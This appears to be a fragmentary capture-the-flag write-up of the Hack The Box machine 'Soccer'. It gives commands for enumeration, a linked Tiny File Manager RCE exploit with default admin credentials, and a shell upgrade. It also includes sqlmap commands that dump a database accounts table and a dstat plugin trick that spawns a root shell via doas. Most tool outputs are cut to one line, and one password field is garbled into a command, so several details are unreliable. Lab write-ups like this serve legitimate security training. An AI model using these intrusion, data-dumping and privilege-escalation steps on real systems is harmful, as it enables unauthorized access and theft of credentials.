Rustscan
1 | rustscan -a soccer.htb |
Output:
1 | PORT STATE SERVICE REASON |
Port 9091

Port 80
Gobuster
1 | ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.soccer.htb" -u http://soccer.htb |
Output:
1 | /index.html (Status: 200) [Size: 6917] |

I found a RCE.
https://raw.githubusercontent.com/febinrev/tinyfilemanager-2.4.3-exploit/main/exploit.sh
Let’s follow the exemple…
And it’s the good password, but the exploit is not working.
User: admin
Password: admin@123
Revershell

Upgrade the shell
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
Then Ctrl + Z.
1 | stty raw -echo; fg # allow auto completion |
lse.sh
1 | [!] fst020 Uncommon setuid binaries........................................ yes! |
/etc/passwd
1 | lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false |
Linpease
1 | ╔══════════╣ CVEs Check |
1 | cat /etc/nginx/sites-enabled/* |
Output:
1 | # We already know this one |
I need to add soc-player.soccer.htb to my /etc/hosts.
It’s an another website, interesting.
The root is in /root/app/views, maybe I can be root with this one.
I’ve created an account.

I have the ticker number 85240.
It’s using this script to connect:
1 | <script> |
var ws = new WebSocket(“ws://soc-player.soccer.htb:9091”);
It’s not working via http, it’s a websocket.
sqlmap -u “http://localhost:8081/?id=1“ -p “id” –dbs –dbms=mysql
sqlmap -u “http://localhost:8081/?id=1“ -p “id” -D soccer_db –tables –dbms=mysql
sqlmap -u “http://localhost:8081/?id=1“ -p “id” -D soccer_db -T accounts –dump –dbms=mysql
User: player
Password: doas -u root /usr/bin/dstat –cyberw1ng
SSH

Escalation
As we saw with lipease, wt can run this as root:
1 | doas /usr/bin/dstat |
https://gtfobins.github.io/gtfobins/dstat/dstat allows you to run arbitrary python scripts loaded as “external plugins” if they are located in one of the directories stated in the dstat man page under “FILES”:
1 | echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py |